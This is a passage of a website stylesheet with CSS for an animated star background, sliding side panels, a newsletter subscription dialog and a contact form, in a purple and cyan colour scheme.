2068px #FFF, 1253px 289px #FFF, 1429px 1072px #FFF, 607px 1840px #FFF, 934px 664px #FFF, 1821px 1992px #FFF, 2400px 819px #FFF, 927px 2082px #FFF, 1321px 428px #FFF, 600px 863px #FFF, 1182px 265px #FFF, 948px 2089px #FFF, 1297px 665px #FFF, 94px 426px #FFF, 2017px 2434px #FFF, 1828px 1436px #FFF, 682px 461px #FFF, 710px 1679px #FFF, 2267px 2115px #FFF, 525px 22px #FFF, 1735px 1371px #FFF, 1783px 1601px #FFF, 358px 2494px #FFF, 1292px 1295px #FFF, 2411px 2003px #FFF, 185px 1172px #FFF, 1313px 720px #FFF, 1930px 132px #FFF, 2435px 2434px #FFF, 1224px 406px #FFF, 1447px 1359px #FFF, 1752px 628px #FFF, 424px 1472px #FFF, 2272px 339px #FFF, 1004px 487px #FFF, 1192px 479px #FFF, 418px 165px #FFF, 202px 1646px #FFF, 161px 1363px #FFF, 560px 170px #FFF, 2336px 1798px #FFF, 1453px 2371px #FFF, 2475px 2308px #FFF, 82px 2009px #FFF, 1256px 1967px #FFF, 1911px 1750px #FFF, 1313px 917px #FFF, 361px 1125px #FFF, 1190px 2263px #FFF, 1026px 2433px #FFF, 1566px 1418px #FFF, 1014px 1487px #FFF, 2463px 638px #FFF, 234px 794px #FFF, 545px 2013px #FFF, 498px 1917px #FFF, 2347px 787px #FFF, 666px 2490px #FFF, 2349px 1104px #FFF, 879px 713px #FFF, 2237px 2045px #FFF, 109px 1197px #FFF, 1366px 1831px #FFF, 2446px 25px #FFF, 2187px 1268px #FFF, 2259px 1668px #FFF, 86px 1786px #FFF, 708px 1680px #FFF, 2088px 353px #FFF, 361px 2174px #FFF, 295px 427px #FFF, 122px 2130px #FFF, 2323px 1855px #FFF, 2082px 1038px #FFF, 232px 146px #FFF, 2160px 967px #FFF, 1958px 39px #FFF, 500px 2367px #FFF, 452px 1600px #FFF, 1379px 1421px #FFF, 1801px 2125px #FFF, 167px 446px #FFF, 39px 432px #FFF;\n    -webkit-animation: animStar 150s infinite linear;\n    -moz-animation: animStar 150s infinite linear;\n    animation: animStar 150s infinite linear;\n}\n\n#stars3:after {\n    content: \" \";\n    position: absolute;\n    top: 2000px;\n    width: 3px;\n    height: 3px;\n    background: transparent;\n    box-shadow: 1260px 9px #FFF, 592px 1084px #FFF, 1730px 1390px #FFF, 2052px 1939px #FFF, 2407px 1255px #FFF, 1482px 40px #FFF, 1248px 577px #FFF, 1328px 648px #FFF, 755px 1762px #FFF, 2010px 1041px #FFF, 2151px 2003px #FFF, 2135px 2098px #FFF, 1388px 1256px #FFF, 1841px 106px #FFF, 1779px 1501px #FFF, 1844px 151px #FFF, 451px 2173px #FFF, 2081px 2068px #FFF, 1253px 289px #FFF, 1429px 1072px #FFF, 607px 1840px #FFF, 934px 664px #FFF, 1821px 1992px #FFF, 2400px 819px #FFF, 927px 2082px #FFF, 1321px 428px #FFF, 600px 863px #FFF, 1182px 265px #FFF, 948px 2089px #FFF, 1297px 665px #FFF, 94px 426px #FFF, 2017px 2434px #FFF, 1828px 1436px #FFF, 682px 461px #FFF, 710px 1679px #FFF, 2267px 2115px #FFF, 525px 22px #FFF, 1735px 1371px #FFF, 1783px 1601px #FFF, 358px 2494px #FFF, 1292px 1295px #FFF, 2411px 2003px #FFF, 185px 1172px #FFF, 1313px 720px #FFF, 1930px 132px #FFF, 2435px 2434px #FFF, 1224px 406px #FFF, 1447px 1359px #FFF, 1752px 628px #FFF, 424px 1472px #FFF, 2272px 339px #FFF, 1004px 487px #FFF, 1192px 479px #FFF, 418px 165px #FFF, 202px 1646px #FFF, 161px 1363px #FFF, 560px 170px #FFF, 2336px 1798px #FFF, 1453px 2371px #FFF, 2475px 2308px #FFF, 82px 2009px #FFF, 1256px 1967px #FFF, 1911px 1750px #FFF, 1313px 917px #FFF, 361px 1125px #FFF, 1190px 2263px #FFF, 1026px 2433px #FFF, 1566px 1418px #FFF, 1014px 1487px #FFF, 2463px 638px #FFF, 234px 794px #FFF, 545px 2013px #FFF, 498px 1917px #FFF, 2347px 787px #FFF, 666px 2490px #FFF, 2349px 1104px #FFF, 879px 713px #FFF, 2237px 2045px #FFF, 109px 1197px #FFF, 1366px 1831px #FFF, 2446px 25px #FFF, 2187px 1268px #FFF, 2259px 1668px #FFF, 86px 1786px #FFF, 708px 1680px #FFF, 2088px 353px #FFF, 361px 2174px #FFF, 295px 427px #FFF, 122px 2130px #FFF, 2323px 1855px #FFF, 2082px 1038px #FFF, 232px 146px #FFF, 2160px 967px #FFF, 1958px 39px #FFF, 500px 2367px #FFF, 452px 1600px #FFF, 1379px 1421px #FFF, 1801px 2125px #FFF, 167px 446px #FFF, 39px 432px #FFF;\n}\n\n@-webkit-keyframes animStar {\n    from {\n        -webkit-transform: translateY(0px);\n    }\n    to {\n        -webkit-transform: translateY(-2000px);\n    }\n}\n\n@-moz-keyframes animStar {\n    from {\n        -moz-transform: translateY(0px);\n    }\n    to {\n        -moz-transform: translateY(-2000px);\n    }\n}\n\n@keyframes animStar {\n    from {\n        -webkit-transform: translateY(0px);\n        -moz-transform: translateY(0px);\n        -ms-transform: translateY(0px);\n        -o-transform: translateY(0px);\n        transform: translateY(0px);\n    }\n    to {\n        -webkit-transform: translateY(-2000px);\n        -moz-transform: translateY(-2000px);\n        -ms-transform: translateY(-2000px);\n        -o-transform: translateY(-2000px);\n        transform: translateY(-2000px);\n    }\n}\n\n.brand-logo {\n    position: fixed;\n    left: calc(75% - 140px);\n    top: 50%;\n    transform: translateY(-50%);\n    transform-style: preserve-3d;\n    max-width: 280px;\n    width: 280px;\n    height: auto;\n    z-index: 2;\n    opacity: 0;\n    pointer-events: none;\n    filter: drop-shadow(0 0 40px rgba(139, 92, 246, 0.25));\n    transition: opacity 1.4s ease;\n    will-change: transform;\n}\n\n.brand-logo--visible {\n    opacity: 0.5;\n}\n\n#left-side {\n    position: fixed;\n    left: 0;\n    top: 0;\n    width: 50%;\n    height: 100%;\n    z-index: 3;\n    opacity: 0;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n}\n\n#left-side .content {\n    position: absolute;\n    z-index: 0;\n    left: 0;\n    padding: 0;\n    top: 50vh;\n    width: 100%;\n    padding: 0 10%;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -webkit-transform: translateY(-50%);\n    -moz-transform: translateY(-50%);\n    -ms-transform: translateY(-50%);\n    -o-transform: translateY(-50%);\n    transform: translateY(-50%);\n    text-align: left;\n    -webkit-font-smoothing: antialiased;\n    -moz-osx-font-smoothing: grayscale;\n    opacity: 1;\n    visibility: visible;\n}\n\n#right-side {\n    background: rgba(15, 15, 35, 0.85);\n    backdrop-filter: blur(20px);\n    -webkit-backdrop-filter: blur(20px);\n    border-left: 1px solid rgba(139, 92, 246, 0.15);\n    position: relative;\n    overflow: auto;\n    -webkit-transform: translate3d(100%, 0, 0);\n    -moz-transform: translate3d(100%, 0, 0);\n    -o-transform: translate3d(100%, 0, 0);\n    -ms-transform: translate3d(100%, 0, 0);\n    transform: translate3d(100%, 0, 0);\n    top: 0;\n    width: 50%;\n    z-index: 3;\n    -webkit-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -moz-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -ms-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -o-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n}\n\n#right-side.hide-right {\n    -webkit-transform: translate3d(200%, 0, 0);\n    -moz-transform: translate3d(200%, 0, 0);\n    -o-transform: translate3d(200%, 0, 0);\n    -ms-transform: translate3d(200%, 0, 0);\n    transform: translate3d(200%, 0, 0);\n}\n\n#right-side .content {\n    width: 100%;\n    padding: 8% 10% 20%;\n    text-align: left;\n    -webkit-font-smoothing: antialiased;\n    -moz-osx-font-smoothing: grayscale;\n    opacity: 1;\n    visibility: visible;\n}\n\n#right-side .content h1,\n#right-side .content h2,\n#right-side .content h3,\n#right-side .content h4,\n#right-side .content h5,\n#right-side .content h6 {\n    color: #c4b5fd;\n}\n\n#right-side .content h3 {\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    text-transform: uppercase;\n    font-weight: 700;\n    letter-spacing: 0.05em;\n}\n\n#right-side .content span.separator {\n    display: block;\n    height: 1px;\n    background: linear-gradient(90deg, transparent, rgba(139, 92, 246, 0.5), rgba(6, 182, 212, 0.5), transparent);\n    width: 100%;\n    margin: 50px 0 60px;\n}\n\n#right-side .content p {\n    color: #94a3b8;\n}\n\n#right-side .content .photo-line figure {\n    padding: 0;\n    margin: 0 15px 30px;\n    width: calc(50% - 30px);\n    -webkit-box-shadow: 0 0 1px rgba(0, 0, 0, 0.2);\n    -moz-box-shadow: 0 0 1px rgba(0, 0, 0, 0.2);\n    box-shadow: 0 0 1px rgba(0, 0, 0, 0.2);\n    background: #000000;\n}\n\n#right-side .content .photo-line figure.clear-second {\n    clear: both;\n}\n\n#right-side .content .photo-line figure a.box-picture {\n    overflow: hidden;\n    width: 100%;\n    display: block;\n    position: relative;\n}\n\n#right-side .content .photo-line figure a.box-picture p {\n    bottom: 50%;\n    line-height: 1;\n    height: auto;\n    width: 100%;\n    text-align: center;\n    color: #FFFFFF;\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    text-transform: uppercase;\n    font-size: 1em;\n    letter-spacing: 2px;\n    left: 0;\n    opacity: 0;\n    position: absolute;\n    -webkit-transform: translateY(50%);\n    -moz-transform: translateY(50%);\n    -ms-transform: translateY(50%);\n    -o-transform: translateY(50%);\n    transform: translateY(50%);\n    -webkit-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n}\n\n#right-side .content .photo-line figure a.box-picture:hover {\n    background: #000000;\n}\n\n#right-side .content .photo-line figure a.box-picture:hover img {\n    opacity: 0.5;\n}\n\n#right-side .content .photo-line figure a.box-picture:hover p {\n    opacity: 1;\n}\n\n#right-side .content .photo-line figure img {\n    overflow: hidden;\n    -webkit-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0.42, 0, 0.58, 1);\n    -webkit-backface-visibility: hidden;\n    backface-visibility: hidden;\n    -webkit-transform: scale(1);\n    -moz-transform: scale(1);\n    -ms-transform: scale(1);\n    -o-transform: scale(1);\n    transform: scale(1);\n    -webkit-transition: all 0.6s cubic-bezier(0.215, 0.61, 0.355, 1);\n    -moz-transition: all 0.6s cubic-bezier(0.215, 0.61, 0.355, 1);\n    -ms-transition: all 0.6s cubic-bezier(0.215, 0.61, 0.355, 1);\n    -o-transition: all 0.6s cubic-bezier(0.215, 0.61, 0.355, 1);\n    transition: all 0.6s cubic-bezier(0.215, 0.61, 0.355, 1);\n}\n\n#right-side .content .photo-line figure .photo-details {\n    background: #FFFFFF;\n    padding: 1em;\n    text-align: left;\n    color: #747c83;\n}\n\n#right-side .content .photo-line figure .photo-details h4 {\n    font-weight: 800;\n    margin-bottom: 1em;\n    text-transform: uppercase;\n    font-size: 0.8em;\n    opacity: 1;\n    color: #c4b5fd;\n}\n\n#right-side .content .photo-line figure .photo-details span.border {\n    display: block;\n    height: 2px;\n    background: linear-gradient(90deg, #8b5cf6, #06b6d4);\n    width: 10%;\n    margin: 0.8em 0 1em;\n}\n\n#right-side .content .photo-line figure .photo-details p {\n    font-size: 0.9em;\n    color: #94a3b8;\n    font-weight: 500;\n    line-height: 1.2;\n}\n\n.widget-angle-top-right {\n    position: absolute;\n    top: 0;\n    right: 0;\n    background: transparent;\n    border: none;\n    padding: 0;\n    color: #8b5cf6;\n    font-size: 1em;\n    border-top: 50px solid #0f0f23;\n    border-left: 50px solid transparent;\n}\n\n.widget-angle-top-right span.icon-text {\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    font-weight: 700;\n    position: absolute;\n    top: -47px;\n    left: -22px;\n}\n\n.widget-angle-bottom-right {\n    position: absolute;\n    bottom: 0;\n    right: 0;\n    background: transparent;\n    border: none;\n    padding: 0;\n    color: #8b5cf6;\n    font-size: 1em;\n    border-bottom: 50px solid #0f0f23;\n    border-left: 50px solid transparent;\n}\n\n.widget-angle-bottom-right span.icon-text {\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    font-weight: 700;\n    position: absolute;\n    top: 23px;\n    left: -22px;\n}\n\n.widget-angle-bottom-left {\n    position: absolute;\n    bottom: 0;\n    left: 0;\n    background: transparent;\n    border: none;\n    padding: 0;\n    color: #8b5cf6;\n    font-size: 1em;\n    border-bottom: 50px solid #0f0f23;\n    border-right: 50px solid transparent;\n}\n\n.widget-angle-bottom-left span.icon-text {\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    font-weight: 700;\n    position: absolute;\n    top: 23px;\n    left: 7px;\n}\n\n.widget-angle-top-left {\n    position: absolute;\n    top: 0;\n    left: 0;\n    background: transparent;\n    border: none;\n    padding: 0;\n    color: #8b5cf6;\n    font-size: 1em;\n    border-top: 50px solid #0f0f23;\n    border-right: 50px solid transparent;\n}\n\n.widget-angle-top-left span.icon-text {\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    font-weight: 700;\n    position: absolute;\n    top: -47px;\n    left: 7px;\n}\n\n#close-more-info {\n    position: fixed;\n    top: 15px;\n    right: 15px;\n    background: transparent;\n    border: none;\n    color: #94a3b8;\n    font-size: 2em;\n    z-index: 10;\n}\n\n#close-more-info:hover {\n    -webkit-transform: scale(1.2);\n    -moz-transform: scale(1.2);\n    -ms-transform: scale(1.2);\n    -o-transform: scale(1.2);\n    transform: scale(1.2);\n}\n\n#close-more-info.hide-close {\n    right: -40px;\n}\n\n.mCSB_scrollTools {\n    /* Scrollbar */\n    position: absolute;\n    width: 5px;\n    height: auto;\n    left: auto;\n    top: 0;\n    right: -5px;\n    bottom: 0;\n    z-index: 1;\n    -webkit-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -moz-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -ms-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    -o-transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n    transition: all 0.5s cubic-bezier(0.7, 0, 0.3, 1);\n}\n\n.mCSB_scrollTools .mCSB_draggerRail {\n    width: 5px;\n    height: 100%;\n    margin: 0;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    -ms-border-radius: 0;\n    border-radius: 0;\n    background-color: rgba(139, 92, 246, 0.15);\n    filter: \"alpha(opacity=40)\";\n    -ms-filter: \"alpha(opacity=40)\";\n}\n\n.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    /* the dragger element */\n    position: relative;\n    width: 5px;\n    height: 100%;\n    margin: 0 auto;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    -ms-border-radius: 0;\n    border-radius: 0;\n    text-align: center;\n}\n\n.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #8b5cf6;\n}\n\n.mCSB_scrollTools-left {\n    right: 50% !important;\n}\n\n\n/* ------------------------------------- */\n\n\n/* 4. Newsletter ....................... */\n\n\n/* ------------------------------------- */\n\n.dialog,\n.dialog__overlay {\n    width: 100%;\n    height: 100%;\n    top: 0;\n    left: 0;\n}\n\n.dialog {\n    position: fixed;\n    z-index: 999;\n    display: -webkit-box;\n    display: -moz-box;\n    display: box;\n    display: -webkit-flex;\n    display: -moz-flex;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-pack: center;\n    -moz-box-pack: center;\n    box-pack: center;\n    -webkit-justify-content: center;\n    -moz-justify-content: center;\n    -ms-justify-content: center;\n    -o-justify-content: center;\n    justify-content: center;\n    -ms-flex-pack: center;\n    -webkit-box-align: center;\n    -moz-box-align: center;\n    box-align: center;\n    -webkit-align-items: center;\n    -moz-align-items: center;\n    -ms-align-items: center;\n    -o-align-items: center;\n    align-items: center;\n    -ms-flex-align: center;\n    pointer-events: none;\n}\n\n.dialog__overlay {\n    position: absolute;\n    z-index: 1;\n    background: rgba(10, 10, 26, 0.92);\n    opacity: 0;\n    transition: opacity 0.3s;\n}\n\n.dialog--open .dialog__overlay {\n    opacity: 1;\n    pointer-events: auto;\n}\n\n.dialog__content {\n    width: 50%;\n    max-width: 500px;\n    min-width: 290px;\n    background: transparent;\n    padding: 0;\n    text-align: center;\n    position: relative;\n    z-index: 5;\n    opacity: 0;\n    overflow: hidden;\n    background: url(../img/background-newsletter.jpg) center;\n    background-size: cover;\n    border: 1px solid rgba(139, 92, 246, 0.3);\n    border-radius: 12px;\n}\n\n.dialog__content::before {\n    content: \" \";\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: -1;\n    border: 1px solid rgba(139, 92, 246, 0.3);\n    background: rgba(10, 10, 26, 0.85);\n    backdrop-filter: blur(20px);\n    -webkit-backdrop-filter: blur(20px);\n    border-radius: 12px;\n}\n\n.dialog--open .dialog__content {\n    pointer-events: auto;\n}\n\n.dialog .close-newsletter {\n    position: absolute;\n    top: 0;\n    right: 0;\n    border: none;\n    background: transparent;\n    width: 40px;\n    height: 40px;\n    line-height: 35px;\n    color: #FFFFFF;\n    font-size: 20px;\n    opacity: 0.5;\n}\n\n.dialog .close-newsletter:hover {\n    opacity: 1;\n}\n\n.dialog .dialog-inner {\n    padding: 90px 70px;\n    overflow: hidden;\n}\n\n.dialog .dialog-inner::before {\n    content: \" \";\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: -1;\n}\n\n.dialog .dialog-inner h4 {\n    color: #FFFFFF;\n    font-size: 40px;\n    font-family: 'Space Grotesk', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    font-weight: 700;\n}\n\n.dialog .dialog-inner p {\n    color: #f2f3f7;\n    font-size: 16px;\n}\n\n#subscribe p {\n    font-weight: 400;\n}\n\n#subscribe #notifyMe {\n    max-width: 450px;\n    margin: auto;\n    margin-top: 2em;\n}\n\n#subscribe #notifyMe .form-group {\n    margin-bottom: 1em;\n}\n\n#subscribe #notifyMe .form-group .fa {\n    color: #94a3b8;\n    position: absolute;\n    text-align: center;\n    top: 15px;\n    left: 15px;\n}\n\n#subscribe #notifyMe .form-group .form-control {\n    text-align: center;\n    background: #FFFFFF;\n    border: none;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    -ms-border-radius: 0;\n    border-radius: 0;\n    box-shadow: none;\n    height: 50px;\n    font-weight: 600;\n    outline: medium none;\n    padding: 0 1em;\n    width: 100%;\n    margin: auto;\n    color: #000000;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n}\n\n#subscribe #notifyMe .form-group .form-control:hover,\n#subscribe #notifyMe .form-group .form-control:focus {\n    box-shadow: none;\n}\n\n#subscribe #notifyMe .form-group .form-control::-webkit-input-placeholder {\n    color: #747c83 !important;\n}\n\n#subscribe #notifyMe .form-group .form-control::-moz-placeholder {\n    color: #747c83 !important;\n}\n\n#subscribe #notifyMe .form-group .form-control:-moz-placeholder {\n    color: #747c83 !important;\n}\n\n#subscribe #notifyMe .form-group .form-control:-ms-input-placeholder {\n    color: #747c83 !important;\n}\n\n#subscribe #notifyMe .form-group button.submit {\n    border: 2px solid #8b5cf6;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    -ms-border-radius: 0;\n    border-radius: 8px;\n    font-family: 'Inter', \"Helvetica Neue\", \"Lucida Grande\", Arial, Verdana, sans-serif;\n    background: linear-gradient(135deg, #8b5cf6, #06b6d4);\n    color: #FFFFFF;\n    height: 50px;\n    padding: 1em 0;\n    font-size: 1em;\n    font-weight: 700;\n    letter-spacing: 1px;\n    text-transform: uppercase;\n    line-height: 1;\n    width: 70%;\n    margin: 20px auto 0;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n}\n\n#subscribe #notifyMe .form-group button.submit:hover {\n    background: linear-gradient(135deg, #7c3aed, #0891b2);\n    color: #FFFFFF;\n}\n\n#subscribe .block-message {\n    min-height: 50px;\n    position: absolute;\n    bottom: -100px;\n    width: 100%;\n    left: 0;\n    padding: 15px;\n    background: transparent;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n}\n\n#subscribe .block-message.show-block-error {\n    bottom: 0;\n    background: #ff3d71;\n}\n\n#subscribe .block-message.show-block-valid {\n    bottom: 0;\n    background: #8b5cf6;\n}\n\n#subscribe p.notify-valid {\n    color: #FFFFFF;\n    text-transform: none;\n    font-size: 16px;\n    letter-spacing: 0;\n    font-weight: 600;\n}\n\n.dialog__overlay {\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n}\n\n.dialog.dialog--open .dialog__content,\n.dialog.dialog--close .dialog__content {\n    -webkit-animation-duration: 0.4s;\n    -moz-animation-duration: 0.4s;\n    animation-duration: 0.4s;\n    -webkit-animation-fill-mode: forwards;\n    -moz-animation-fill-mode: forwards;\n    animation-fill-mode: forwards;\n}\n\n.dialog.dialog--open .dialog__content {\n    -webkit-animation-name: anim-open;\n    -moz-animation-name: anim-open;\n    animation-name: anim-open;\n}\n\n.dialog.dialog--close .dialog__content {\n    -webkit-animation-name: anim-close;\n    -moz-animation-name: anim-close;\n    animation-name: anim-close;\n}\n\n@-webkit-keyframes anim-open {\n    0% {\n        opacity: 0;\n        -webkit-transform: translate3d(0, 50px, 0);\n        -moz-transform: translate3d(0, 50px, 0);\n        -o-transform: translate3d(0, 50px, 0);\n        -ms-transform: translate3d(0, 50px, 0);\n        transform: translate3d(0, 50px, 0);\n    }\n    100% {\n        opacity: 1;\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n    }\n}\n\n@-moz-keyframes anim-open {\n    0% {\n        opacity: 0;\n        -webkit-transform: translate3d(0, 50px, 0);\n        -moz-transform: translate3d(0, 50px, 0);\n        -o-transform: translate3d(0, 50px, 0);\n        -ms-transform: translate3d(0, 50px, 0);\n        transform: translate3d(0, 50px, 0);\n    }\n    100% {\n        opacity: 1;\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n    }\n}\n\n@keyframes anim-open {\n    0% {\n        opacity: 0;\n        -webkit-transform: translate3d(0, 50px, 0);\n        -moz-transform: translate3d(0, 50px, 0);\n        -o-transform: translate3d(0, 50px, 0);\n        -ms-transform: translate3d(0, 50px, 0);\n        transform: translate3d(0, 50px, 0);\n    }\n    100% {\n        opacity: 1;\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n    }\n}\n\n@-webkit-keyframes anim-close {\n    0% {\n        opacity: 1;\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n    }\n    100% {\n        opacity: 0;\n        -webkit-transform: translate3d(0, 50px, 0);\n        -moz-transform: translate3d(0, 50px, 0);\n        -o-transform: translate3d(0, 50px, 0);\n        -ms-transform: translate3d(0, 50px, 0);\n        transform: translate3d(0, 50px, 0);\n    }\n}\n\n@-moz-keyframes anim-close {\n    0% {\n        opacity: 1;\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n    }\n    100% {\n        opacity: 0;\n        -webkit-transform: translate3d(0, 50px, 0);\n        -moz-transform: translate3d(0, 50px, 0);\n        -o-transform: translate3d(0, 50px, 0);\n        -ms-transform: translate3d(0, 50px, 0);\n        transform: translate3d(0, 50px, 0);\n    }\n}\n\n@keyframes anim-close {\n    0% {\n        opacity: 1;\n        -webkit-transform: translate3d(0, 0, 0);\n        -moz-transform: translate3d(0, 0, 0);\n        -o-transform: translate3d(0, 0, 0);\n        -ms-transform: translate3d(0, 0, 0);\n        transform: translate3d(0, 0, 0);\n    }\n    100% {\n        opacity: 0;\n        -webkit-transform: translate3d(0, 50px, 0);\n        -moz-transform: translate3d(0, 50px, 0);\n        -o-transform: translate3d(0, 50px, 0);\n        -ms-transform: translate3d(0, 50px, 0);\n        transform: translate3d(0, 50px, 0);\n    }\n}\n\n\n/* ------------------------------------- */\n\n\n/* 5. Contact .......................... */\n\n\n/* ------------------------------------- */\n\n.info-contact {\n    margin-bottom: 30px;\n}\n\n.info-contact .item-map {\n    padding: 0;\n}\n\n.info-contact .item-map:first-child {\n    padding-left: 15px;\n}\n\n.info-contact .item-map:last-child {\n    padding-right: 15px;\n}\n\n.info-contact .item-map .contact-item {\n    padding: 15px 0;\n    font-size: 14px;\n    text-align: center;\n}\n\n.info-contact .item-map .contact-item i {\n    color: #8b5cf6;\n    font-size: 2em;\n}\n\n.info-contact .item-map .contact-item a {\n    font-weight: 600;\n    color: #94a3b8;\n}\n\n.info-contact .item-map .contact-item a:hover {\n    color: #8b5cf6;\n}\n\n#contact-form {\n    margin-top: 40px;\n}\n\n#contact-form .form-control {\n    background: #FFFFFF;\n    border: 1px solid rgba(0, 0, 0, 0.1);\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    -ms-border-radius: 0;\n    border-radius: 0;\n    box-shadow: none;\n    font-weight: 400;\n    outline: medium none;\n    height: 40px;\n    width: 100%;\n    color: #000000;\n    -webkit-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -moz-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -ms-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    -o-transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    transition: all 0.3s cubic-bezier(0, 0, 0.58, 1);\n    text-align: left;\n}\n\n#contact-form .form-control:hover,\n#contact-form .form-control:focus {\n    box-shadow: none;\n}\n\n#contact-form .form-control::-webkit-input-placeholder {\n    color: #747c83 !important;\n}\n\n#contact-form .form-control::-moz-placeholder {\n    color: #747c83 !important;\n}\n\n#contact-form .form-control:-moz-placeholder {\n    color: #747c83 !important;\n}\n\n#contact-form .form-control:-ms-input-placeholder {\n    color: #747c83 !important;\n}\n\n#contact-form textarea.form-control {\n    min-height: 150px;\n}\n\n#contact-form button#valid-form {\n    font-weight: 400;\n    padding: 1em 2em;\n    font-size: 1em;\n    display: block;\n    margin: 0 auto 0;\n    background: linear-gradient(135deg, #8b5cf6, #06b6d4);\n    color: #FFFFFF;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    -ms-border-radius: 0;\n    border-radius: 8px;\n    font-weight: 700;\n    width: 100%;\n    line-height: 